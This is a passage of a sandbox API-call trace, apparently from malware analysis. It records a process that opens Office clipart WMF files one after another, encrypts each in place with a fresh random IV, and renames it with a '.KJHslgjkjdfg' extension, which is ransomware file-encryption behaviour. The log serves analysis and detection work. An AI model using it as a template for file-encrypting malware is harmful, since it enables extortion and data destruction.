Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.816] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.816] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.817] GetProcessHeap () returned 0x2ef0000 [0202.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.817] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.817] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0202.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30) returned 1 [0202.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.819] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b30, lpOverlapped=0x0) returned 1 [0202.819] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.819] SetEndOfFile (hFile=0x130) returned 1 [0202.821] GetProcessHeap () returned 0x2ef0000 [0202.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.821] GetProcessHeap () returned 0x2ef0000 [0202.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.kjhslgjkjdfg")) returned 1 [0202.822] CloseHandle (hObject=0x130) returned 1 [0202.823] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0202.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.823] GetProcessHeap () returned 0x2ef0000 [0202.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.823] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.826] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.826] GetProcessHeap () returned 0x2ef0000 [0202.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.826] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.826] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.826] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.826] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.826] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.826] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.826] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e8e, lpOverlapped=0x0) returned 1 [0202.827] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e90, dwBufLen=0x1e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e90) returned 1 [0202.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.827] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e90, lpOverlapped=0x0) returned 1 [0202.828] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.828] SetEndOfFile (hFile=0x130) returned 1 [0202.830] GetProcessHeap () returned 0x2ef0000 [0202.830] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.830] GetProcessHeap () returned 0x2ef0000 [0202.830] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.kjhslgjkjdfg")) returned 1 [0202.831] CloseHandle (hObject=0x130) returned 1 [0202.831] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0202.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.832] GetProcessHeap () returned 0x2ef0000 [0202.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.832] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.832] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0202.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.834] GetProcessHeap () returned 0x2ef0000 [0202.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.835] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.835] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.835] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ed2, lpOverlapped=0x0) returned 1 [0202.836] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ee0, dwBufLen=0x3ee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ee0) returned 1 [0202.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.836] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ee0, lpOverlapped=0x0) returned 1 [0202.837] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.837] SetEndOfFile (hFile=0x130) returned 1 [0202.839] GetProcessHeap () returned 0x2ef0000 [0202.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.839] GetProcessHeap () returned 0x2ef0000 [0202.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.kjhslgjkjdfg")) returned 1 [0202.841] CloseHandle (hObject=0x130) returned 1 [0202.841] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0202.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.842] GetProcessHeap () returned 0x2ef0000 [0202.842] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.842] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.842] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.845] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.845] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.845] GetProcessHeap () returned 0x2ef0000 [0202.845] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.845] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.845] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.845] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.846] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.846] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x745c, lpOverlapped=0x0) returned 1 [0202.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7460, dwBufLen=0x7460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7460) returned 1 [0202.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7460, lpOverlapped=0x0) returned 1 [0202.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] SetEndOfFile (hFile=0x130) returned 1 [0202.852] GetProcessHeap () returned 0x2ef0000 [0202.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.852] GetProcessHeap () returned 0x2ef0000 [0202.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.kjhslgjkjdfg")) returned 1 [0202.853] CloseHandle (hObject=0x130) returned 1 [0202.853] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0202.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.854] GetProcessHeap () returned 0x2ef0000 [0202.854] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.854] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.855] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0202.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.857] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.857] GetProcessHeap () returned 0x2ef0000 [0202.857] RtlAllocateHeap 